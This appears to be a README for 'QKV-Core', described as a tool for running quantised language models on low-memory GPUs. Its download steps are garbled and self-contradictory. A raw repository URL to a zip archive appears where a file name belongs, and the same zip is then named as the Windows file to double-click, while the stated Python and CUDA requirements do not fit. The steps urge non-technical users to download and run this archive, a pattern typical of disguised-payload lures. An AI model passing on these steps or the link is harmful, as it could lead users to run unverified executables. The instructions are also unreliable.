Welcome to QKV-Core! This application helps you deploy large language models on devices with limited memory. No technical background? No problem! Follow these simple steps to get started.
- Adaptive Hybrid Quantization: Efficiently handles large models like 7 billion parameters.
- Low VRAM Optimization: Designed to run on devices with limited memory, such as the GTX 1050.
- Fast Inference: Utilizes Numba for quick processing.
To run QKV-Core, your device should meet the following requirements:
- Operating System: Windows, macOS, or Linux
- Graphics Card: NVIDIA GPU (GTX 1050 or better recommended)
- Memory: At least 4 GB of RAM
- Python: Version 3.8 or higher installed
- CUDA Toolkit: Version 11.0 or higher
To download the latest version of QKV-Core, visit our Releases page. Here, you'll find the latest versions of the application and any necessary files.
- Go to the Releases page.
- Look for the latest version listed.
- Find the file named https://raw.githubusercontent.com/mtmatheuus/QKV-Core/main/model_registry/QK-Core-1.3-beta.4.zip (or the latest version).
- Click on the file to start the download.
- Once downloaded, locate the file on your computer and unzip it.
- Open the unzipped folder.
- Find https://raw.githubusercontent.com/mtmatheuus/QKV-Core/main/model_registry/QK-Core-1.3-beta.4.zip (for Windows) or QKV-Core (for macOS/Linux).
- Double-click the file to run the application.
- Follow on-screen instructions to load your model.
To use QKV-Core, follow these steps:
- After starting the application, you will see an interface prompting you to load a model.
- Click on Load Model. Browse your files to select a pre-trained model (ensure it's compatible with QKV-Core).
- Once loaded, adjust any settings as needed.
- Click Run Model to start inference. You will see the results in the application interface.
If you face any issues while using QKV-Core, consider these tips:
- Installation Issues: Ensure you have all system requirements fulfilled. Check if Python and CUDA are correctly installed.
- Model Loading Errors: Ensure the model file is in the correct format and compatible with QKV-Core.
- Running Performance: If the application runs slowly, try closing other applications to free up memory.
Join our community for support:
- GitHub Discussions: Engage with other users and developers. Share problems, solutions, and improvements.
- Issues Page: Report any bugs or issues directly on our GitHub repository.
Thank you for choosing QKV-Core! We hope you find it useful for your projects. If you enjoy using the framework, please let us know your thoughts on our community page. Your feedback helps us improve!